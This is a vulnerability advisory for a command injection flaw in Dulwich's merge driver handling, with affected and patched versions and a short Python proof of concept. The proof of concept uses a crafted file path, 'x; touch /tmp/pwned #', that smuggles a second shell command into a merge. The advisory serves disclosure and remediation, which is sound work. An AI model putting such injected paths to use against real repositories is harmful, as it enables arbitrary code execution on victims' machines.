---
id: CVE-2026-42563
aliases:
  - GHSA-9277-mp7x-85jf
  - PYSEC-2026-2464
title: Dulwich Vulnerable to Command Injection via Merge Driver Path
summary: Dulwich Vulnerable to Command Injection via Merge Driver Path
severity: high
vendor: dulwich
product: dulwich
ecosystem: pip
affected:
  - 'dulwich >= 0.24.0, < 1.2.5'
patched:
  - dulwich 1.2.5
published: '2026-05-28'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:51:05.165324181Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-9277-mp7x-85jf'
references:
  - url: 'https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-42563'
  - url: >-
      https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b
  - url: 'https://github.com/jelmer/dulwich'
  - url: 'https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5'
tags:
  - osv
  - pip
epss: 0.00555
epssPercentile: 0.45167
ingestedAt: '2026-07-13T18:57:55.637Z'
---

## Overview

## Summary

Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

## Description

- **Type:** Command Injection
- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)
- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder
- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.

## Resources

- Repository: https://github.com/dulwich/dulwich
- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)

## Proof of Concept

```python
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
```

## Fix
[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)

## Affected packages

- `dulwich >= 0.24.0, < 1.2.5`

## Remediation

Upgrade to a patched release:

- `dulwich 1.2.5`